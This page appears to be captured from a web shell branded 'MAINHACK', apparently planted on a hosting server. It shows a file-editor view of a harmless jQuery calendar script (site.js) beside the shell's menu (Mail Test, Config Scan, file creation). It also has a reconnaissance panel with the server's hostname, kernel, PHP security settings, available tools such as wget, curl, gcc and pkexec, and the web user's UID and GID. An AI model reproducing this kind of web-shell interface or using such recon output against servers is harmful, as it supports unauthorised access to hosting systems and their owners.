[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: site.js
// call this from the developer console and you can control both instances var calendars = {}; $(document).ready( function() { // assuming you've got the appropriate language files, // clndr will respect whatever moment's language is set to. // moment.lang('ru'); // here's some magic to make sure the dates are happening this month. var thisMonth = moment().format('YYYY-MM'); var eventArray = [ { startDate: thisMonth + '-10', endDate: thisMonth + '-14', title: 'Multi-Day Event' }, { startDate: thisMonth + '-23', endDate: thisMonth + '-26', title: 'Another Multi-Day Event' } ]; // the order of the click handlers is predictable. // direct click action callbacks come first: click, nextMonth, previousMonth, nextYear, previousYear, or today. // then onMonthChange (if the month changed). // finally onYearChange (if the year changed). calendars.clndr1 = $('.cal1').clndr({ events: eventArray, // constraints: { // startDate: '2013-11-01', // endDate: '2013-11-15' // }, clickEvents: { click: function(target) { console.log(target); if($(target.element).hasClass('inactive')) { console.log('not a valid datepicker date.'); } else { console.log('VALID datepicker date.'); } }, nextMonth: function() { console.log('next month.'); }, previousMonth: function() { console.log('previous month.'); }, onMonthChange: function() { console.log('month changed.'); }, nextYear: function() { console.log('next year.'); }, previousYear: function() { console.log('previous year.'); }, onYearChange: function() { console.log('year changed.'); } }, multiDayEvents: { startDate: 'startDate', endDate: 'endDate' }, showAdjacentMonths: true, adjacentDaysChangeMonth: false }); // calendars.clndr2 = $('.cal2').clndr({ // template: $('#template-calendar').html(), // events: eventArray, // startWithMonth: moment().add('month', 1), // clickEvents: { // click: function(target) { // console.log(target); // } // } // }); // bind both clndrs to the left and right arrow keys $(document).keydown( function(e) { if(e.keyCode == 37) { // left arrow calendars.clndr1.back(); calendars.clndr2.back(); } if(e.keyCode == 39) { // right arrow calendars.clndr1.forward(); calendars.clndr2.forward(); } }); });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.64 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619